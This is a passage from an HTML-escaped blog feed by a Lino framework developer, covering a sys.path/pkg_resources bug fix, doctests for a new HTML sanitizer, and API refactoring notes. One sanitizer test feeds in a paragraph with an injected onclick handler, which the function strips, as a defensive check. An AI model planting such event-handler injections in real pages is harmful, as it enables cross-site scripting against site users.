&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;DeprecationWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pkg_resources&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;deprecated&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;See&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;setuptools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pypa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;en&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pkg_resources&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I worked around the problem by modifying my copy of the &lt;a class="reference external" href="https://github.com/timonweb/django-bulma/blob/master/bulma/__init__.py"&gt;bulma/__init__.py&lt;/a&gt;
file as follows.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pkg_resources&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_distribution&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DistributionNotFound&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;__version__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_distribution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;django-bulma&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;DistributionNotFound&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# package is not installed&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;__version__&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0.9.0&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# from pkg_resources import get_distribution, DistributionNotFound&lt;/span&gt;
&lt;span class="c1"&gt;# try:&lt;/span&gt;
&lt;span class="c1"&gt;#     __version__ = get_distribution(&amp;#39;django-bulma&amp;#39;).version&lt;/span&gt;
&lt;span class="c1"&gt;# except DistributionNotFound:&lt;/span&gt;
&lt;span class="c1"&gt;#     # package is not installed&lt;/span&gt;
&lt;span class="c1"&gt;#     pass&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I considered already contacting Tim Kamanin, the maintainer of &lt;a class="reference external" href="https://github.com/timonweb/django-bulma"&gt;django-bulma&lt;/a&gt; and maybe even help him to move
away from the deprecated usage of &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;pkg_resources&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But I can only ask him to change something if I can tell him how to reproduce my
problem. So I created a virgin Sphinx project in a temporary directory and added
the triggering code to the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.sphinxcontrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
&lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_prima.projects.prima1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lino_prima.projects.prima1.settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And this lead to undisclose the real culprit: it’s my own code! No need to
bother Tim. My &lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.html#rstgen.sphinxconf.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function did this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs_root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;docs_root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the (deprecated) &lt;cite&gt;pkg_resources&lt;/cite&gt; modules expects &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;sys.path&lt;/span&gt;&lt;/code&gt; to be a
list of strings.&lt;/p&gt;
&lt;p&gt;So the solution was to change above line in
&lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.html#rstgen.sphinxconf.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; into:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;docs_root&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1124.html</guid><pubDate>Sun, 24 Nov 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, November 14, 2024</title><link>https://luc.lino-framework.org/blog/2024/1114.html</link><description>&lt;section id="thursday-november-14-2024"&gt;
&lt;h1&gt;Thursday, November 14, 2024&lt;a class="headerlink" href="#thursday-november-14-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I stumbled into a surprisingly easy solution for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4851"&gt;#4851&lt;/a&gt; (Bleach is no
longer being maintained): I wrote a new function
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/utils/soup.html#lino.utils.soup.sanitize_html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.soup.sanitize_html()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which replaces &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;bleach.clean()&lt;/span&gt;&lt;/code&gt;. Here are
some first test cases I used for the new function. (But these are now merged
into &lt;a class="reference external" href="https://dev.lino-framework.org/dev/bleach.html#bleaching" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Bleaching&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.soup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sanitize_html&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;No tag at beginning of text.&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;bla bLTaQSTyI80t2t8l&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;foo bar.&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;And here is some &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; text.&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sanitize_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;No tag at beginning of text.&lt;/span&gt;
&lt;span class="go"&gt;bla bLTaQSTyI80t2t8l&lt;/span&gt;
&lt;span class="go"&gt;foo bar.&lt;/span&gt;
&lt;span class="go"&gt;And here is some &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; text.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;p align=&amp;quot;right&amp;quot;&amp;gt;First paragraph&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;p onclick=&amp;quot;kill()&amp;quot;&amp;gt;Second paragraph&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sanitize_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;p align=&amp;quot;right&amp;quot;&amp;gt;First paragraph&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;p&amp;gt;Second paragraph&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;  &amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;title&amp;gt;Baby&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;  &amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;  &amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    This is a descriptive text with &amp;lt;b&amp;gt;some&amp;lt;/b&amp;gt; formatting.&amp;lt;br&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;br&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    Here is a second paragraph.&amp;lt;br&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;br&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;  &amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sanitize_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;This is a descriptive text with &amp;lt;b&amp;gt;some&amp;lt;/b&amp;gt; formatting.&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;    Here is a second paragraph.&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1114.html</guid><pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate></item><item><title>A series of optimizations while working on Lino Prima</title><link>https://luc.lino-framework.org/blog/2024/1031.html</link><description>&lt;section id="a-series-of-optimizations-while-working-on-lino-prima"&gt;
&lt;h1&gt;A series of optimizations while working on Lino Prima&lt;a class="headerlink" href="#a-series-of-optimizations-while-working-on-lino-prima" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, October 31, 2024&lt;/p&gt;
&lt;p&gt;During the last week I did the following changes, which I plan to push soon.&lt;/p&gt;
&lt;p&gt;We have a new attribute &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.row_template" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.row_template&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which is a
kind of a context-sensitive template for &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;An avalanche of changes started because a piece of code in
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.react.views.ApiList.get()&lt;/span&gt;&lt;/code&gt; said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;action_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app_label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_renderer&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Some of the results:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The default value for &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.renderer&lt;/span&gt;&lt;/code&gt; is now
determined a bit differently. Traditionally it is either
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_renderer&lt;/span&gt;&lt;/code&gt; (when the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/nutshell.html#term-action-request" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;action request&lt;/span&gt;&lt;/a&gt; was created from an incoming HTTP request) or
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;text_renderer&lt;/span&gt;&lt;/code&gt; (e.g. during a
doctest).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.utils.html#lino.core.utils.login" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.login&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function is no longer implemented
as a method of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; but as a stand-alone function in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.utils.html#module-lino.core.utils" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.utils&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.utils.html#lino.core.utils.show" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.show&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function has a wrapper
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.utils.html#lino.core.utils.shows" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.shows&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which returns the output as a string
instead of printing it to stdout. In unit tests we had code like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GuestsByEvent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_rst&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This has been replaced by:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GuestsByEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The signature of &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.row_as_summary()&lt;/span&gt;&lt;/code&gt; is a bit more
explicit. Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;row_as_summary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;row_as_summary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.group_by&lt;/span&gt;&lt;/code&gt; is back, but in a new form. If
specified, it must be a callable, and it currently only for the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-display-mode" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;display
mode&lt;/span&gt;&lt;/a&gt; “list” and only in the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front end&lt;/span&gt;&lt;/a&gt;. It uses a utility class
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.html.Grouper&lt;/span&gt;&lt;/code&gt;. First usage example is in &lt;a class="reference external" href="https://prima.lino-framework.org/index.html#prima" title="(in Lino Prima)"&gt;&lt;span&gt;Lino Prima&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ChallengeRatingsByProject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ChallengeRatings&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
